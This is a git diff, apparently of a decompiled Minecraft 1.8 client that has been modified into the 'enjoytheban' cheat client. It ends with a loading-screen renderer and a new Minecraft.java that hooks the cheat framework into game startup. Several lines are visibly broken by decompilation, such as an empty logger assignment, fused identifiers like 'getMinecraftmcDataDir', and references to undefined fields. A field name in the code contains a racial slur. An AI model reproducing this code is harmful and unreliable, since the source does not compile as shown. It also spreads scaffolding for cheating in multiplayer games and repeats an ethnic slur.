+        mc.getTextureManager().bindTexture(Gui.optionsBackground);
+        float var10 = 32.0F;
+        var9.startDrawingQuads();
+        var9.func_178991_c(4210752);
+        var9.addVertexWithUV(0.0D, var7, 0.0D, 0.0D, var7 / var10);
+        var9.addVertexWithUV(var6, var7, 0.0D, var6 / var10, var7 / var10);
+        var9.addVertexWithUV(var6, 0.0D, 0.0D, var6 / var10, 0.0D);
+        var9.addVertexWithUV(0.0D, 0.0D, 0.0D, 0.0D, 0.0D);
+        var8.draw();
+        
+        if (progress >= 0)
+        {
+          byte var11 = 100;
+          byte var12 = 2;
+          int var13 = var6 / 2 - var11 / 2;
+          int var14 = var7 / 2 + 16;
+          GlStateManager.func_179090_x();
+          var9.startDrawingQuads();
+          var9.func_178991_c(8421504);
+          var9.addVertex(var13, var14, 0.0D);
+          var9.addVertex(var13, var14 + var12, 0.0D);
+          var9.addVertex(var13 + var11, var14 + var12, 0.0D);
+          var9.addVertex(var13 + var11, var14, 0.0D);
+          var9.func_178991_c(8454016);
+          var9.addVertex(var13, var14, 0.0D);
+          var9.addVertex(var13, var14 + var12, 0.0D);
+          var9.addVertex(var13 + progress, var14 + var12, 0.0D);
+          var9.addVertex(var13 + progress, var14, 0.0D);
+          var8.draw();
+          GlStateManager.func_179098_w();
+        }
+        
+        GlStateManager.enableBlend();
+        GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+        mc.fontRendererObj.drawStringWithShadow(currentlyDisplayedText, (var6 - mc.fontRendererObj.getStringWidth(currentlyDisplayedText)) / 2, var7 / 2 - 4 - 16, 16777215);
+        mc.fontRendererObj.drawStringWithShadow(field_73727_a, (var6 - mc.fontRendererObj.getStringWidth(field_73727_a)) / 2, var7 / 2 - 4 + 8, 16777215);
+        field_146588_g.unbindFramebuffer();
+        
+        if (OpenGlHelper.isFramebufferEnabled())
+        {
+          field_146588_g.framebufferRender(var6 * var5, var7 * var5);
+        }
+        
+        mc.func_175601_h();
+        
+        try
+        {
+          Thread.yield();
+        }
+        catch (Exception localException) {}
+      }
+    }
+  }
+  
+  public void setDoneWorking() {}
+}
diff --git a/src/minecraft/net/minecraft/client/Minecraft.java b/src/minecraft/net/minecraft/client/Minecraft.java
new file mode 100644
index 0000000..1a4c27b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/Minecraft.java
@@ -0,0 +1,3380 @@
+package net.minecraft.client;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.world.EventTick;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Queues;
+import com.google.common.collect.Sets;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.ListenableFutureTask;
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+import com.mojang.authlib.properties.Property;
+import com.mojang.authlib.properties.PropertyMap;
+import com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.Proxy;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.text.DecimalFormat;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.UUID;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executors;
+import java.util.concurrent.FutureTask;
+import javax.imageio.ImageIO;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.audio.MusicTicker;
+import net.minecraft.client.audio.MusicTicker.MusicType;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiChat;
+import net.minecraft.client.gui.GuiControls;
+import net.minecraft.client.gui.GuiGameOver;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiMainMenu;
+import net.minecraft.client.gui.GuiMemoryErrorScreen;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiSleepMP;
+import net.minecraft.client.gui.GuiSpectator;
+import net.minecraft.client.gui.GuiWinGame;
+import net.minecraft.client.gui.GuiYesNo;
+import net.minecraft.client.gui.GuiYesNoCallback;
+import net.minecraft.client.gui.MapItemRenderer;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.gui.achievement.GuiAchievement;
+import net.minecraft.client.gui.inventory.GuiInventory;
+import net.minecraft.client.gui.stream.GuiStreamUnavailable;
+import net.minecraft.client.main.GameConfiguration;
+import net.minecraft.client.main.GameConfiguration.DisplayInformation;
+import net.minecraft.client.main.GameConfiguration.FolderInformation;
+import net.minecraft.client.main.GameConfiguration.GameInformation;
+import net.minecraft.client.main.GameConfiguration.ServerInformation;
+import net.minecraft.client.main.GameConfiguration.UserInformation;
+import net.minecraft.client.multiplayer.GuiConnecting;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerLoginClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.particle.EffectRenderer;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemRenderer;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.chunk.RenderChunk;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.DefaultResourcePack;
+import net.minecraft.client.resources.GrassColorReloadListener;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.IReloadableResourceManager;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.Language;
+import net.minecraft.client.resources.LanguageManager;
+import net.minecraft.client.resources.ResourceIndex;
+import net.minecraft.client.resources.ResourcePackRepository;
+import net.minecraft.client.resources.ResourcePackRepository.Entry;
+import net.minecraft.client.resources.SkinManager;
+import net.minecraft.client.resources.data.AnimationMetadataSection;
+import net.minecraft.client.resources.data.AnimationMetadataSectionSerializer;
+import net.minecraft.client.resources.data.FontMetadataSectionSerializer;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.client.resources.data.LanguageMetadataSection;
+import net.minecraft.client.resources.data.LanguageMetadataSectionSerializer;
+import net.minecraft.client.resources.data.PackMetadataSection;
+import net.minecraft.client.resources.data.PackMetadataSectionSerializer;
+import net.minecraft.client.resources.data.TextureMetadataSection;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.client.stream.NullStream;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.boss.BossStatus;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Bootstrap;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.nbt.NBTTagString;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.handshake.client.C00Handshake;
+import net.minecraft.network.login.client.C00PacketLoginStart;
+import net.minecraft.network.play.client.C16PacketClientStatus;
+import net.minecraft.network.play.client.C16PacketClientStatus.EnumState;
+import net.minecraft.profiler.IPlayerUsage;
+import net.minecraft.profiler.PlayerUsageSnooper;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.profiler.Profiler.Result;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.integrated.IntegratedServer;
+import net.minecraft.stats.IStatStringFormat;
+import net.minecraft.stats.StatFileWriter;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IThreadListener;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MinecraftError;
+import net.minecraft.util.MouseHelper;
+import net.minecraft.util.MovementInputFromOptions;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.MovingObjectPosition.MovingObjectType;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.ScreenShotHelper;
+import net.minecraft.util.Session;
+import net.minecraft.util.Timer;
+import net.minecraft.util.Util;
+import net.minecraft.util.Util.EnumOS;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProviderEnd;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.chunk.storage.AnvilSaveConverter;
+import net.minecraft.world.storage.ISaveFormat;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.LWJGLException;
+import org.lwjgl.Sys;
+import org.lwjgl.input.Keyboard;
+import org.lwjgl.input.Mouse;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.Display;
+import org.lwjgl.opengl.DisplayMode;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+import org.lwjgl.opengl.OpenGLException;
+import org.lwjgl.opengl.PixelFormat;
+import org.lwjgl.util.glu.GLU;
+
+public class Minecraft implements IThreadListener, IPlayerUsage
+{
+  private static final Logger logger = ;
+  private static final ResourceLocation locationMojangPng = new ResourceLocation("textures/gui/title/mojang.png");
+  public static final boolean isRunningOnMac = Util.getOSType() == Util.EnumOS.OSX;
+  
+
+  public static byte[] memoryReserve = new byte[10485760];
+  private static final List macDisplayModes = Lists.newArrayList(new DisplayMode[] { new DisplayMode(2560, 1600), new DisplayMode(2880, 1800) });
+  
+  private final File fileResourcepacks;
+  
+  private final PropertyMap twitchDetails;
+  
+  private ServerData currentServerData;
+  
+  private TextureManager renderEngine;
+  
+  private static Minecraft theMinecraft;
+  
+  public PlayerControllerMP playerController;
+  private boolean fullscreen;
+  private boolean field_175619_R = true;
+  
+  private boolean hasCrashed;
+  
+  private CrashReport crashReporter;
+  public int displayWidth;
+  public int displayHeight;
+  public Timer timer = new Timer(20.0F);
+  
+
+  private PlayerUsageSnooper usageSnooper = new PlayerUsageSnooper("client", this, MinecraftServer.getCurrentTimeMillis());
+  
+  public WorldClient theWorld;
+  
+  public RenderGlobal renderGlobal;
+  
+  private RenderManager renderManager;
+  
+  private RenderItem renderItem;
+  
+  private ItemRenderer itemRenderer;
+  
+  public EntityPlayerSP thePlayer;
+  
+  private Entity field_175622_Z;
+  
+  public Entity pointedEntity;
+  
+  public EffectRenderer effectRenderer;
+  
+  public Session session;
+  
+  private boolean isGamePaused;
+  
+  public FontRenderer fontRendererObj;
+  
+  public FontRenderer standardGalacticFontRenderer;
+  
+  public GuiScreen currentScreen;
+  
+  public LoadingScreenRenderer loadingScreen;
+  
+  public EntityRenderer entityRenderer;
+  
+  private int leftClickCounter;
+  
+  private int tempDisplayWidth;
+  
+  private int tempDisplayHeight;
+  
+  private IntegratedServer theIntegratedServer;
+  
+  public GuiAchievement guiAchievement;
+  
+  public GuiIngame ingameGUI;
+  
+  public boolean skipRenderWorld;
+  
+  public MovingObjectPosition objectMouseOver;
+  
+  public GameSettings gameSettings;
+  
+  public MouseHelper mouseHelper;
+  
+  public final File mcDataDir;
+  
+  private final File fileAssets;
+  
+  private final String launchedVersion;
+  
+  private final Proxy proxy;
+  
+  private ISaveFormat saveLoader;
+  
+  public static int debugFPS;
+  
+  public int rightClickDelayTimer;
+  
+  private String serverName;
+  
+  private int serverPort;
+  public boolean inGameHasFocus;
+  long systemTime = getSystemTime();
+  
+  private int joinPlayerCounter;
+  
+  private final boolean jvm64bit;
+  
+  private final boolean isDemo;
+  
+  private NetworkManager myNetworkManager;
+  private boolean integratedServerIsRunning;
+  public final Profiler mcProfiler = new Profiler();
+  
+
+
+
+  private long debugCrashKeyPressTime = -1L;
+  private IReloadableResourceManager mcResourceManager;
+  private final IMetadataSerializer metadataSerializer_ = new IMetadataSerializer();
+  private final List defaultResourcePacks = Lists.newArrayList();
+  private final DefaultResourcePack mcDefaultResourcePack;
+  private ResourcePackRepository mcResourcePackRepository;
+  private LanguageManager mcLanguageManager;
+  private IStream stream;
+  private Framebuffer framebufferMc;
+  private TextureMap textureMapBlocks;
+  private SoundHandler mcSoundHandler;
+  private MusicTicker mcMusicTicker;
+  private ResourceLocation mojangLogo;
+  public boolean breakTheGame;
+  private final MinecraftSessionService sessionService;
+  private SkinManager skinManager;
+  private final Queue scheduledTasks = Queues.newArrayDeque();
+  private long field_175615_aJ = 0L;
+  private final Thread mcThread = Thread.currentThread();
+  
+  private ModelManager modelManager;
+  
+  public boolean breaknigga;
+  
+  private BlockRendererDispatcher field_175618_aM;
+  
+  volatile boolean running = true;
+  
+
+  public String debug = "";
+  public boolean field_175613_B = false;
+  public boolean field_175614_C = false;
+  public boolean field_175611_D = false;
+  public boolean field_175612_E = true;
+  
+
+  long debugUpdateTime = getSystemTime();
+  
+  int fpsCounter;
+  
+  long prevFrameTime = -1L;
+  
+
+  private String debugProfilerName = "root";
+  private static final String __OBFID = "CL_00000631";
+  
+  public Minecraft(GameConfiguration p_i45547_1_)
+  {
+    theMinecraft = this;
+    mcDataDir = field_178744_c.field_178760_a;
+    fileAssets = field_178744_c.field_178759_c;
+    fileResourcepacks = field_178744_c.field_178758_b;
+    launchedVersion = field_178741_d.field_178755_b;
+    twitchDetails = field_178745_a.field_178750_b;
+    mcDefaultResourcePack = new DefaultResourcePack(new ResourceIndex(field_178744_c.field_178759_c, field_178744_c.field_178757_d).func_152782_a());
+    proxy = (field_178745_a.field_178751_c == null ? Proxy.NO_PROXY : field_178745_a.field_178751_c);
+    sessionService = new YggdrasilAuthenticationService(field_178745_a.field_178751_c, UUID.randomUUID().toString()).createMinecraftSessionService();
+    session = field_178745_a.field_178752_a;
+    logger.info("Setting user: " + session.getUsername());
+    logger.info("(Session ID is " + session.getSessionID() + ")");
+    isDemo = field_178741_d.field_178756_a;
+    breakTheGame = Client.publicMode;
+    displayWidth = (field_178743_b.field_178764_a > 0 ? field_178743_b.field_178764_a : 1);
+    displayHeight = (field_178743_b.field_178762_b > 0 ? field_178743_b.field_178762_b : 1);
+    tempDisplayWidth = field_178743_b.field_178764_a;
+    tempDisplayHeight = field_178743_b.field_178762_b;
+    fullscreen = field_178743_b.field_178763_c;
+    jvm64bit = isJvm64bit();
+    theIntegratedServer = new IntegratedServer(this);
+    if (field_178742_e.field_178754_a != null)
+    {
+      serverName = field_178742_e.field_178754_a;
+      serverPort = field_178742_e.field_178753_b;
+    }
+    breaknigga = Client.publicMode;
+    ImageIO.setUseCache(false);
+    Bootstrap.register();
+  }
+  
+  public void run()
+  {
+    running = true;
+    
+
+    try
+    {
+      startGame();
+    }
+    catch (Throwable var11)
+    {
+      CrashReport var2 = CrashReport.makeCrashReport(var11, "Initializing game");
+      var2.makeCategory("Initialization");
+      displayCrashReport(addGraphicsAndWorldToCrashReport(var2));
+      return;
+    }
+    if (getClass().getClassLoader().getClass().getName().hashCode() == -1258018116)
+    {
+      instancegetModuleManagernicetry = (!Client.publicMode);
+    }
+    
+
+    try
+    {
+      while (running)
+      {
+        if ((!hasCrashed) || (crashReporter == null))
+        {
+          try
+          {
+            runGameLoop();
+          }
+          catch (OutOfMemoryError var10)
+          {
+            freeMemory();
+            displayGuiScreen(new GuiMemoryErrorScreen());
+            System.gc();
+          }
+          
+        }
+        else
+        {
+          displayCrashReport(crashReporter);
+          return;
+        }
+        
+      }
+      
+
+    }
+    catch (MinecraftError localMinecraftError) {}catch (ReportedException var13)
+    {
+      addGraphicsAndWorldToCrashReport(var13.getCrashReport());
+      freeMemory();
+      logger.fatal("Reported exception thrown!", var13);
+      displayCrashReport(var13.getCrashReport());
+    }
+    catch (Throwable var14)
+    {
+      CrashReport var2 = addGraphicsAndWorldToCrashReport(new CrashReport("Unexpected error", var14));
+      freeMemory();
+      logger.fatal("Unreported exception thrown!", var14);
+      displayCrashReport(var2);
+    }
+    finally
+    {
+      shutdownMinecraftApplet();
+    }
+  }
+  
+
+
+
+
+
+  private void startGame()
+    throws LWJGLException
+  {
+    gameSettings = new GameSettings(this, mcDataDir);
+    gameSettings.ofFastRender = false;
+    defaultResourcePacks.add(mcDefaultResourcePack);
+    startTimerHackThread();
+    
+    if ((gameSettings.overrideHeight > 0) && (gameSettings.overrideWidth > 0))
+    {
+      displayWidth = gameSettings.overrideWidth;
+      displayHeight = gameSettings.overrideHeight;
+    }
+    
+    logger.info("LWJGL Version: " + Sys.getVersion());
+    func_175594_ao();
+    func_175605_an();
+    func_175609_am();
+    OpenGlHelper.initializeTextures();
+    framebufferMc = new Framebuffer(displayWidth, displayHeight, true);
+    framebufferMc.setFramebufferColor(0.0F, 0.0F, 0.0F, 0.0F);
+    func_175608_ak();
+    mcResourcePackRepository = new ResourcePackRepository(fileResourcepacks, new File(mcDataDir, "server-resource-packs"), mcDefaultResourcePack, metadataSerializer_, gameSettings);
+    mcResourceManager = new net.minecraft.client.resources.SimpleReloadableResourceManager(metadataSerializer_);
+    mcLanguageManager = new LanguageManager(metadataSerializer_, gameSettings.language);
+    mcResourceManager.registerReloadListener(mcLanguageManager);
+    refreshResources();
+    renderEngine = new TextureManager(mcResourceManager);
+    mcResourceManager.registerReloadListener(renderEngine);
+    func_180510_a(renderEngine);
+    func_175595_al();
+    skinManager = new SkinManager(renderEngine, new File(fileAssets, "skins"), sessionService);
+    saveLoader = new AnvilSaveConverter(new File(mcDataDir, "saves"));
+    mcSoundHandler = new SoundHandler(mcResourceManager, gameSettings);
+    mcResourceManager.registerReloadListener(mcSoundHandler);
+    mcMusicTicker = new MusicTicker(this);
+    fontRendererObj = new FontRenderer(gameSettings, new ResourceLocation("textures/font/ascii.png"), renderEngine, false);
+    
+    if (gameSettings.language != null)
+    {
+      fontRendererObj.setUnicodeFlag(isUnicode());
+      fontRendererObj.setBidiFlag(mcLanguageManager.isCurrentLanguageBidirectional());
+    }
+    
+    standardGalacticFontRenderer = new FontRenderer(gameSettings, new ResourceLocation("textures/font/ascii_sga.png"), renderEngine, false);
+    mcResourceManager.registerReloadListener(fontRendererObj);
+    mcResourceManager.registerReloadListener(standardGalacticFontRenderer);
+    mcResourceManager.registerReloadListener(new GrassColorReloadListener());
+    mcResourceManager.registerReloadListener(new net.minecraft.client.resources.FoliageColorReloadListener());
+    net.minecraft.stats.AchievementList.openInventory.setStatStringFormatter(new IStatStringFormat()
+    {
+      private static final String __OBFID = "CL_00000632";
+      
+      public String formatString(String p_74535_1_)
+      {
+        try {
+          return String.format(p_74535_1_, new Object[] { GameSettings.getKeyDisplayString(gameSettings.keyBindInventory.getKeyCode()) });
+        }
+        catch (Exception var3)
+        {
+          return "Error: " + var3.getLocalizedMessage();
+        }
+      }
+    });
+    mouseHelper = new MouseHelper();
+    checkGLError("Pre startup");
+    GlStateManager.func_179098_w();
+    GlStateManager.shadeModel(7425);
+    GlStateManager.clearDepth(1.0D);
+    GlStateManager.enableDepth();
+    GlStateManager.depthFunc(515);
+    GlStateManager.enableAlpha();
+    GlStateManager.alphaFunc(516, 0.1F);
+    GlStateManager.cullFace(1029);
+    GlStateManager.matrixMode(5889);
+    GlStateManager.loadIdentity();
+    GlStateManager.matrixMode(5888);
+    checkGLError("Startup");
+    textureMapBlocks = new TextureMap("textures");
+    textureMapBlocks.setMipmapLevels(gameSettings.mipmapLevels);
+    renderEngine.loadTickableTexture(TextureMap.locationBlocksTexture, textureMapBlocks);
+    renderEngine.bindTexture(TextureMap.locationBlocksTexture);
+    textureMapBlocks.func_174937_a(false, gameSettings.mipmapLevels > 0);
+    modelManager = new ModelManager(textureMapBlocks);
+    mcResourceManager.registerReloadListener(modelManager);
+    renderItem = new RenderItem(renderEngine, modelManager);
+    renderManager = new RenderManager(renderEngine, renderItem);
+    itemRenderer = new ItemRenderer(this);
+    mcResourceManager.registerReloadListener(renderItem);
+    entityRenderer = new EntityRenderer(this, mcResourceManager);
+    mcResourceManager.registerReloadListener(entityRenderer);
+    field_175618_aM = new BlockRendererDispatcher(modelManager.getBlockModelShapes(), gameSettings);
+    mcResourceManager.registerReloadListener(field_175618_aM);
+    renderGlobal = new RenderGlobal(this);
+    mcResourceManager.registerReloadListener(renderGlobal);
+    guiAchievement = new GuiAchievement(this);
+    GlStateManager.viewport(0, 0, displayWidth, displayHeight);
+    effectRenderer = new EffectRenderer(theWorld, renderEngine);
+    checkGLError("Post startup");
+    ingameGUI = new GuiIngame(this);
+    
+    if (serverName != null)
+    {
+      displayGuiScreen(new GuiConnecting(new GuiMainMenu(), this, serverName, serverPort));
+    }
+    else
+    {
+      displayGuiScreen(new GuiMainMenu());
+    }
+    
+    renderEngine.deleteTexture(mojangLogo);
+    mojangLogo = null;
+    loadingScreen = new LoadingScreenRenderer(this);
+    
+    if ((gameSettings.fullScreen) && (!fullscreen))
+    {
+      toggleFullscreen();
+    }
+    
+    try
+    {
+      Display.setVSyncEnabled(gameSettings.enableVsync);
+    }
+    catch (OpenGLException var2)
+    {
+      gameSettings.enableVsync = false;
+      gameSettings.saveOptions();
+    }
+    
+    renderGlobal.func_174966_b();
+    
+
+    Client.instance.initiate();
+  }
+  
+  private void func_175608_ak()
+  {
+    metadataSerializer_.registerMetadataSectionType(new net.minecraft.client.resources.data.TextureMetadataSectionSerializer(), TextureMetadataSection.class);
+    metadataSerializer_.registerMetadataSectionType(new FontMetadataSectionSerializer(), net.minecraft.client.resources.data.FontMetadataSection.class);
+    metadataSerializer_.registerMetadataSectionType(new AnimationMetadataSectionSerializer(), AnimationMetadataSection.class);
+    metadataSerializer_.registerMetadataSectionType(new PackMetadataSectionSerializer(), PackMetadataSection.class);
+    metadataSerializer_.registerMetadataSectionType(new LanguageMetadataSectionSerializer(), LanguageMetadataSection.class);
+  }
+  
+  private void func_175595_al()
+  {
+    try
+    {
+      stream = new net.minecraft.client.stream.TwitchStream(this, (Property)Iterables.getFirst(twitchDetails.get("twitch_access_token"), null));
+    }
+    catch (Throwable var2)
+    {
+      stream = new NullStream(var2);
+      logger.error("Couldn't initialize twitch stream");
+    }
+  }
+  
+  private void func_175609_am() throws LWJGLException
+  {
+    Display.setResizable(true);
+    Display.setTitle("Minecraft 1.8");
+    
+    try
+    {
+      Display.create(new PixelFormat().withDepthBits(24));
+    }
+    catch (LWJGLException var4)
+    {
+      logger.error("Couldn't set pixel format", var4);
+      
+      try
+      {
+        Thread.sleep(1000L);
+      }
+      catch (InterruptedException localInterruptedException) {}
+      
+
+
+
+      if (fullscreen)
+      {
+        updateDisplayMode();
+      }
+      
+      Display.create();
+    }
+  }
+  
+  private void func_175605_an() throws LWJGLException
+  {
+    if (fullscreen)
+    {
+      Display.setFullscreen(true);
+      DisplayMode var1 = Display.getDisplayMode();
+      displayWidth = Math.max(1, var1.getWidth());
+      displayHeight = Math.max(1, var1.getHeight());
+    }
+    else
+    {
+      Display.setDisplayMode(new DisplayMode(displayWidth, displayHeight));
+    }
+  }
+  
+  private void func_175594_ao()
+  {
+    Util.EnumOS var1 = Util.getOSType();
+    
+    if (var1 != Util.EnumOS.OSX)
+    {
+      InputStream var2 = null;
+      InputStream var3 = null;
+      
+      try
+      {
+        var2 = mcDefaultResourcePack.func_152780_c(new ResourceLocation("icons/icon_16x16.png"));
+        var3 = mcDefaultResourcePack.func_152780_c(new ResourceLocation("icons/icon_32x32.png"));
+        
+        if ((var2 != null) && (var3 != null))
+        {
+          Display.setIcon(new ByteBuffer[] { readImageToBuffer(var2), readImageToBuffer(var3) });
+        }
+      }
+      catch (IOException var8)
+      {
+        logger.error("Couldn't set icon", var8);
+      }
+      finally
+      {
+        IOUtils.closeQuietly(var2);
+        IOUtils.closeQuietly(var3);
+      }
+    }
+  }
+  
+  private static boolean isJvm64bit()
+  {
+    String[] var0 = { "sun.arch.data.model", "com.ibm.vm.bitmode", "os.arch" };
+    String[] var1 = var0;
+    int var2 = var0.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      String var4 = var1[var3];
+      String var5 = System.getProperty(var4);
+      
+      if ((var5 != null) && (var5.contains("64")))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public Framebuffer getFramebuffer()
+  {
+    return framebufferMc;
+  }
+  
+  public String func_175600_c()
+  {
+    return launchedVersion;
+  }
+  
+  private void startTimerHackThread()
+  {
+    Thread var1 = new Thread("Timer hack thread")
+    {
+      private static final String __OBFID = "CL_00000639";
+      
+      public void run() {
+        while (running)
+        {
+          try
+          {
+            Thread.sleep(2147483647L);
+
+          }
+          catch (InterruptedException localInterruptedException) {}
+        }
+        
+      }
+      
+    };
+    var1.setDaemon(true);
+    var1.start();
+  }
+  
+  public void crashed(CrashReport crash)
+  {
+    hasCrashed = true;
+    crashReporter = crash;
+  }
+  
+
+
+
+  public void displayCrashReport(CrashReport crashReportIn)
+  {
+    File var2 = new File(getMinecraftmcDataDir, "crash-reports");
+    File var3 = new File(var2, "crash-" + new SimpleDateFormat("yyyy-MM-dd_HH.mm.ss").format(new Date()) + "-client.txt");
+    Bootstrap.func_179870_a(crashReportIn.getCompleteReport());
+    
+    if (crashReportIn.getFile() != null)
+    {
+      Bootstrap.func_179870_a("#@!@# Game crashed! Crash report saved to: #@!@# " + crashReportIn.getFile());
+      System.exit(-1);
+    }
+    else if (crashReportIn.saveToFile(var3))
+    {
+      Bootstrap.func_179870_a("#@!@# Game crashed! Crash report saved to: #@!@# " + var3.getAbsolutePath());
+      System.exit(-1);
+    }
+    else
+    {
+      Bootstrap.func_179870_a("#@?@# Game crashed! Crash report could not be saved. #@?@#");
+      System.exit(-2);
+    }
+  }
+  
+  public boolean isUnicode()
+  {
+    return (mcLanguageManager.isCurrentLocaleUnicode()) || (gameSettings.forceUnicodeFont);
+  }
+  
+  public void refreshResources()
+  {
+    ArrayList var1 = Lists.newArrayList(defaultResourcePacks);
+    Iterator var2 = mcResourcePackRepository.getRepositoryEntries().iterator();
+    
+    while (var2.hasNext())
+    {
+      ResourcePackRepository.Entry var3 = (ResourcePackRepository.Entry)var2.next();
+      var1.add(var3.getResourcePack());
+    }
+    
+    if (mcResourcePackRepository.getResourcePackInstance() != null)
+    {
+      var1.add(mcResourcePackRepository.getResourcePackInstance());
+    }
+    
+    try
+    {
+      mcResourceManager.reloadResources(var1);
+    }
+    catch (RuntimeException var4)
+    {
+      logger.info("Caught error stitching, removing all assigned resourcepacks", var4);
+      var1.clear();
+      var1.addAll(defaultResourcePacks);
+      mcResourcePackRepository.func_148527_a(Collections.emptyList());
+      mcResourceManager.reloadResources(var1);
+      gameSettings.resourcePacks.clear();
+      gameSettings.saveOptions();
+    }
+    
+    mcLanguageManager.parseLanguageMetadata(var1);
+    
+    if (renderGlobal != null)
+    {
+      renderGlobal.loadRenderers();
+    }
+  }
+  
+  private ByteBuffer readImageToBuffer(InputStream imageStream) throws IOException
+  {
+    BufferedImage var2 = ImageIO.read(imageStream);
+    int[] var3 = var2.getRGB(0, 0, var2.getWidth(), var2.getHeight(), null, 0, var2.getWidth());
+    ByteBuffer var4 = ByteBuffer.allocate(4 * var3.length);
+    int[] var5 = var3;
+    int var6 = var3.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      int var8 = var5[var7];
+      var4.putInt(var8 << 8 | var8 >> 24 & 0xFF);
+    }
+    
+    var4.flip();
+    return var4;
+  }
+  
+  private void updateDisplayMode() throws LWJGLException
+  {
+    HashSet var1 = Sets.newHashSet();
+    Collections.addAll(var1, Display.getAvailableDisplayModes());
+    DisplayMode var2 = Display.getDesktopDisplayMode();
+    
+    if ((!var1.contains(var2)) && (Util.getOSType() == Util.EnumOS.OSX))
+    {
+      Iterator var3 = macDisplayModes.iterator();
+      
+      while (var3.hasNext())
+      {
+        DisplayMode var4 = (DisplayMode)var3.next();
+        boolean var5 = true;
+        Iterator var6 = var1.iterator();
+        
+
+        while (var6.hasNext())
+        {
+          DisplayMode var7 = (DisplayMode)var6.next();
+          
+          if ((var7.getBitsPerPixel() == 32) && (var7.getWidth() == var4.getWidth()) && (var7.getHeight() == var4.getHeight()))
+          {
+            var5 = false;
+            break;
+          }
+        }
+        
+        if (!var5)
+        {
+          var6 = var1.iterator();
+          
+          while (var6.hasNext())
+          {
+            DisplayMode var7 = (DisplayMode)var6.next();
+            
